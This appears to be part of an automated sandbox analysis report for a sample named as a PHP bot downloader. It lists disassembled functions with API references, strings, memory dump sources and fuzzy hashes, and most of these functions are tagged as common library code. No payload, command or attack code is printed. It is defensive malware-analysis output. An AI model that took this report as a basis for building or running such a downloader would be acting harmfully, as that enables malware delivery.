Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E35CD0

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c58a6de67e2055b790713986da8547549aa067ac248cc4a518fd06b724001c9a
Instruction ID: 4a9f55db749e0014d7541034fec4f94a2fa1885e95647387377ab8fd08c2185a
Opcode Fuzzy Hash: c58a6de67e2055b790713986da8547549aa067ac248cc4a518fd06b724001c9a
Instruction Fuzzy Hash: 47117221A0C6A651FA619B31E40137A96F0AF85B85F5C4430EA4DEBFA6DF3CFC028704

Function 00007FF658E33C5C Relevance: 1.5, APIs: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E33C79

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 62244de87ae4b4113fbbc14a89a14e51f7e78cb0fd49ce4e2289867358183eba
Instruction ID: 6d7aa09179f514252ce5a327d44a28f211773120499ce1c23ed9342f65fbdede
Opcode Fuzzy Hash: 62244de87ae4b4113fbbc14a89a14e51f7e78cb0fd49ce4e2289867358183eba
Instruction Fuzzy Hash: 87018422B0C52751FD15AA79A41177911709F45B64F2C0330E92DFAAF2CE3CFC428318

Function 00007FF658E34B4C Relevance: 1.5, APIs: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E34B81

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ecfd531bd65b0a5be3dfce5bc1872eabf1e7cdc80219654d23c0605bfb103cca
Instruction ID: 9b6d14bad7ba6760bfa792e97acdb7f543b0faa9695f80cf53700f4e38401903
Opcode Fuzzy Hash: ecfd531bd65b0a5be3dfce5bc1872eabf1e7cdc80219654d23c0605bfb103cca
Instruction Fuzzy Hash: C0015B72A00B6A98EB10DFB0E4414EC37B8FB24358B480535DE4C63B68DF34EAA5C384

Function 00007FF658E33CE0 Relevance: 1.5, APIs: 1, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E33D02

Part of subcall function 00007FF658E33C5C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF658E33C79

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 98756747894a6ecf2af4b58c7d9ad278c5ab213a1f66fbf54e86da30ee3cf387
Instruction ID: d5406a70c39c58ce37aa1e0fea053406d856851fe22c946f150e98609820a6d9
Opcode Fuzzy Hash: 98756747894a6ecf2af4b58c7d9ad278c5ab213a1f66fbf54e86da30ee3cf387
Instruction Fuzzy Hash: 56F05431A0C25252E914A77DB40197A66705F41750F6C5630F51DE6BE7DE7CFC418618

Function 00007FF658E3F734 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF658E41175,?,?,00000000,00007FF658E4334B,?,?,?,00007FF658E392FF,?,?,?,00007FF658E391F5), ref: 00007FF658E3F772

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 11c605d5063ca8d017083a3c2561951eacea7d586e8e9881430da4d93f960e69
Instruction ID: 0f215900457f7e0f914584730313a8bac0a892a5d2ceabf6ed624bac727177ce
Opcode Fuzzy Hash: 11c605d5063ca8d017083a3c2561951eacea7d586e8e9881430da4d93f960e69
Instruction Fuzzy Hash: 96F08C10F2C62380FE646AB259022B512B04F847A2F0C0634DC3EE6BE1DE7CFC418218

Non-executed Functions

Function 00007FF658E2CBF4 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 169libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF658E2CC01
GetProcAddress.KERNEL32 ref: 00007FF658E2CC14
GetProcAddress.KERNEL32 ref: 00007FF658E2CC2B
GetProcAddress.KERNEL32 ref: 00007FF658E2CC42
GetProcAddress.KERNEL32 ref: 00007FF658E2CC59
GetProcAddress.KERNEL32 ref: 00007FF658E2CC70
GetProcAddress.KERNEL32 ref: 00007FF658E2CC87
GetProcAddress.KERNEL32 ref: 00007FF658E2CC9E
GetProcAddress.KERNEL32 ref: 00007FF658E2CCB5
GetProcAddress.KERNEL32 ref: 00007FF658E2CCCC
GetProcAddress.KERNEL32 ref: 00007FF658E2CCE3
GetProcAddress.KERNEL32 ref: 00007FF658E2CCFA
GetProcAddress.KERNEL32 ref: 00007FF658E2CD11
GetProcAddress.KERNEL32 ref: 00007FF658E2CD28
GetProcAddress.KERNEL32 ref: 00007FF658E2CD3F
GetProcAddress.KERNEL32 ref: 00007FF658E2CD56
GetProcAddress.KERNEL32 ref: 00007FF658E2CD6D
GetProcAddress.KERNEL32 ref: 00007FF658E2CD84
GetProcAddress.KERNEL32 ref: 00007FF658E2CD9B
GetProcAddress.KERNEL32 ref: 00007FF658E2CDB2
GetProcAddress.KERNEL32 ref: 00007FF658E2CDC9
GetProcAddress.KERNEL32 ref: 00007FF658E2CDE0
GetProcAddress.KERNEL32 ref: 00007FF658E2CDF7
GetProcAddress.KERNEL32 ref: 00007FF658E2CE0E
GetProcAddress.KERNEL32 ref: 00007FF658E2CE25
GetProcAddress.KERNEL32 ref: 00007FF658E2CE3C
GetProcAddress.KERNEL32 ref: 00007FF658E2CE53
GetProcAddress.KERNEL32 ref: 00007FF658E2CE6A
GetProcAddress.KERNEL32 ref: 00007FF658E2CE81
GetProcAddress.KERNEL32 ref: 00007FF658E2CE98
GetProcAddress.KERNEL32 ref: 00007FF658E2CEAF
GetProcAddress.KERNEL32 ref: 00007FF658E2CEC6
GetProcAddress.KERNEL32 ref: 00007FF658E2CEDD
GetProcAddress.KERNEL32 ref: 00007FF658E2CEF4
GetProcAddress.KERNEL32 ref: 00007FF658E2CF0B
GetProcAddress.KERNEL32 ref: 00007FF658E2CF22
GetProcAddress.KERNEL32 ref: 00007FF658E2CF39
GetProcAddress.KERNEL32 ref: 00007FF658E2CF50
GetProcAddress.KERNEL32 ref: 00007FF658E2CF67
GetProcAddress.KERNEL32 ref: 00007FF658E2CF7E
GetProcAddress.KERNEL32 ref: 00007FF658E2CF95

Strings

CreateEventExW, xrefs: 00007FF658E2CC8D
FlsSetValue, xrefs: 00007FF658E2CC48
CloseThreadpoolWait, xrefs: 00007FF658E2CD5C
LCMapStringEx, xrefs: 00007FF658E2CF84
SleepConditionVariableSRW, xrefs: 00007FF658E2CEFA
CreateSemaphoreW, xrefs: 00007FF658E2CCA4
CompareStringEx, xrefs: 00007FF658E2CF56
SetFileInformationByHandle, xrefs: 00007FF658E2CE14
FlsAlloc, xrefs: 00007FF658E2CC0A
CreateThreadpoolTimer, xrefs: 00007FF658E2CCD2
CloseThreadpoolWork, xrefs: 00007FF658E2CF3F
FreeLibraryWhenCallbackReturns, xrefs: 00007FF658E2CD8A
SetThreadpoolTimer, xrefs: 00007FF658E2CCE9
SubmitThreadpoolWork, xrefs: 00007FF658E2CF28
GetTickCount64, xrefs: 00007FF658E2CDE6
GetLocaleInfoEx, xrefs: 00007FF658E2CF6D
TryAcquireSRWLockExclusive, xrefs: 00007FF658E2CECC
FlushProcessWriteBuffers, xrefs: 00007FF658E2CD73
InitializeConditionVariable, xrefs: 00007FF658E2CE42
GetSystemTimePreciseAsFileTime, xrefs: 00007FF658E2CE2B
GetCurrentPackageId, xrefs: 00007FF658E2CDCF
CreateSemaphoreExW, xrefs: 00007FF658E2CCBB
WaitForThreadpoolTimerCallbacks, xrefs: 00007FF658E2CD00
FlsFree, xrefs: 00007FF658E2CC1A
CreateThreadpoolWait, xrefs: 00007FF658E2CD2E
CloseThreadpoolTimer, xrefs: 00007FF658E2CD17
GetFileInformationByHandleEx, xrefs: 00007FF658E2CDFD
AcquireSRWLockExclusive, xrefs: 00007FF658E2CEB5
kernel32.dll, xrefs: 00007FF658E2CBFA
ReleaseSRWLockExclusive, xrefs: 00007FF658E2CEE3
SetThreadpoolWait, xrefs: 00007FF658E2CD45
InitializeCriticalSectionEx, xrefs: 00007FF658E2CC5F
InitializeSRWLock, xrefs: 00007FF658E2CE9E
SleepConditionVariableCS, xrefs: 00007FF658E2CE87
InitOnceExecuteOnce, xrefs: 00007FF658E2CC76
GetCurrentProcessorNumber, xrefs: 00007FF658E2CDA1
WakeAllConditionVariable, xrefs: 00007FF658E2CE70
WakeConditionVariable, xrefs: 00007FF658E2CE59
CreateSymbolicLinkW, xrefs: 00007FF658E2CDBF
FlsGetValue, xrefs: 00007FF658E2CC31
CreateThreadpoolWork, xrefs: 00007FF658E2CF11

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: c217c5e1ff87bbb2675932e08d25915ecaaaf280c79ce1606b093db371dcdcf8
Instruction ID: 7ebccccf62ae61ebcafcabe1c83902bf2466c20aa763c231d51cbdb10ba028a4
Opcode Fuzzy Hash: c217c5e1ff87bbb2675932e08d25915ecaaaf280c79ce1606b093db371dcdcf8
Instruction Fuzzy Hash: 4EA19064A09B2791FA01DFB6B85406423B0BBC9785F499031C9AFF3E30EE7DA158C358

Function 00007FF658E456F0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF658E3BF24: GetLastError.KERNEL32 ref: 00007FF658E3BF33
Part of subcall function 00007FF658E3BF24: SetLastError.KERNEL32 ref: 00007FF658E3BFD1

TranslateName.LIBCMT ref: 00007FF658E4575D
TranslateName.LIBCMT ref: 00007FF658E45798
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF658E3A2C8), ref: 00007FF658E457DD
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF658E3A2C8), ref: 00007FF658E45805

Strings

utf8, xrefs: 00007FF658E458E9

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValid
String ID: utf8
API String ID: 2136749100-905460609
Opcode ID: 8795c1ca57517d0ee33c5efd6a110edb410aab17e38896b6a3b078346c8e3214
Instruction ID: 9d69562e26782fd866302e4c5761701d83144096c332e1aacad8d0f425e0eb74
Opcode Fuzzy Hash: 8795c1ca57517d0ee33c5efd6a110edb410aab17e38896b6a3b078346c8e3214
Instruction Fuzzy Hash: A5917232A0876285FB209F31D4416B922B4EBC4B80F584131DF9DA7BA5DFBCE952C748

Function 00007FF658E46124 Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF658E3BF24: GetLastError.KERNEL32 ref: 00007FF658E3BF33
Part of subcall function 00007FF658E3BF24: SetLastError.KERNEL32 ref: 00007FF658E3BFD1

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF658E3A2C1), ref: 00007FF658E4627B
GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF658E46294
ProcessCodePage.LIBCMT ref: 00007FF658E462BE
IsValidCodePage.KERNEL32 ref: 00007FF658E462D0
IsValidLocale.KERNEL32 ref: 00007FF658E462E6
GetLocaleInfoW.KERNEL32 ref: 00007FF658E46342
GetLocaleInfoW.KERNEL32 ref: 00007FF658E4635E

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 3939093798-0
Opcode ID: 7969b85a61de7c679f36e1ce11fb21f2a0dcb3cc90bb66e5a32ed9d794ab482a
Instruction ID: c79192b61d40018589995aac3dcf3f52814d9ce582f338af14237ad1bbd832a9
Opcode Fuzzy Hash: 7969b85a61de7c679f36e1ce11fb21f2a0dcb3cc90bb66e5a32ed9d794ab482a
Instruction Fuzzy Hash: FD716C22F1866296FB509FB0D8506BD23B0AFC6744F484035CA9DA7EB5EF7CA845C348

Function 00007FF658E333E8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF658E33461
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF658E33479
RtlVirtualUnwind.KERNEL32 ref: 00007FF658E334B4
IsDebuggerPresent.KERNEL32 ref: 00007FF658E334ED
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF658E334F7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF658E33502

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 05709c85ac3bff629390b2c4b53dddbe1b161458e9038d03406674f5307f74fc
Instruction ID: c6e0df34ed9bf5807ad5ea6f066c5458b3655d95a2c381a8336d267e4b46c745
Opcode Fuzzy Hash: 05709c85ac3bff629390b2c4b53dddbe1b161458e9038d03406674f5307f74fc
Instruction Fuzzy Hash: 19316F32608B9186EB648F75E8406AE73B0FBC8754F580136EA8E93B65DF3CD5458B04

Function 00007FF658E3D480 Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 00007FF658E3D4EF
WriteFile.KERNEL32 ref: 00007FF658E3D799
WriteFile.KERNEL32 ref: 00007FF658E3D7EB
GetLastError.KERNEL32 ref: 00007FF658E3D92D
GetLastError.KERNEL32 ref: 00007FF658E3D93F

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: 24cd3cdbab8cee30782a7feae1c3d4c10b640a4d0206876898aeb659ed1b6fe6
Instruction ID: e6b25402bccc1ff786dd7eaa5048381bdd0cd7d7211a4894cbeffb90037382f3
Opcode Fuzzy Hash: 24cd3cdbab8cee30782a7feae1c3d4c10b640a4d0206876898aeb659ed1b6fe6
Instruction Fuzzy Hash: 6BD1BD72B08A919AE701CB74D4401FD77B1FB85798B180136DE8EA7FA9DE38E956C304

Function 00007FF658E3C750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF658E3C789
GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF658E3A49B), ref: 00007FF658E3C7B7

Strings

GetLocaleInfoEx, xrefs: 00007FF658E3C77D

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: InfoLocaletry_get_function
String ID: GetLocaleInfoEx
API String ID: 2200034068-2904428671
Opcode ID: 04d93355dd70c33fdd0e32921199d88a5f50c64ece7ab3e10c8725350256a896
Instruction ID: d0921e2efc267f6a60b542d4a05f5a0a40c0f2d8bf3b1d76b3394c585b98a9eb
Opcode Fuzzy Hash: 04d93355dd70c33fdd0e32921199d88a5f50c64ece7ab3e10c8725350256a896
Instruction Fuzzy Hash: 4C016225B08B6182E7109B76B5404AAA670AFD4BC0F5C4035DE4DB7F6ADF3CE9418348

Function 00007FF658E45BA4 Relevance: 4.7, APIs: 3, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF658E3BF24: GetLastError.KERNEL32 ref: 00007FF658E3BF33
Part of subcall function 00007FF658E3BF24: SetLastError.KERNEL32 ref: 00007FF658E3BFD1

GetLocaleInfoW.KERNEL32 ref: 00007FF658E45C10

Part of subcall function 00007FF658E41B28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF658E41B45

GetLocaleInfoW.KERNEL32 ref: 00007FF658E45C59

Part of subcall function 00007FF658E41B28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF658E41B9E

GetLocaleInfoW.KERNEL32 ref: 00007FF658E45D24

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: InfoLocale$ErrorLast_invalid_parameter_noinfo
String ID:
API String ID: 3644580040-0
Opcode ID: 84329821f6c6552426cba0fea29145c8ab0cfcceb8bcfe988b16f5a8ed808b17
Instruction ID: acafba77e2bd8cddca8adbc69f5bd470369264f3b86068ea2b3f2d17db699a21
Opcode Fuzzy Hash: 84329821f6c6552426cba0fea29145c8ab0cfcceb8bcfe988b16f5a8ed808b17
Instruction Fuzzy Hash: 20618D32A0865296EB348F25E4442BA63B1FBC4740F088135CBDEE7AA1DFBDE456C744

Function 00007FF658E42110 Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e09e4de5ea58db5dde88890803a2c25b2a26de96d3ba3b2c2c97df7dddcc91ec
Instruction ID: bf2563bc6ecf0cae95babbcdc112d54b6574cde40430dbf41c4eea4e476ce531
Opcode Fuzzy Hash: e09e4de5ea58db5dde88890803a2c25b2a26de96d3ba3b2c2c97df7dddcc91ec
Instruction Fuzzy Hash: 5551D622B087A145F7209B76A8002AE7BB5BB84BD4F184135EE9DA7FA9CF3CD501C704

Function 00007FF658E45DF0 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF658E3BF24: GetLastError.KERNEL32 ref: 00007FF658E3BF33
Part of subcall function 00007FF658E3BF24: SetLastError.KERNEL32 ref: 00007FF658E3BFD1

GetLocaleInfoW.KERNEL32 ref: 00007FF658E45E58

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

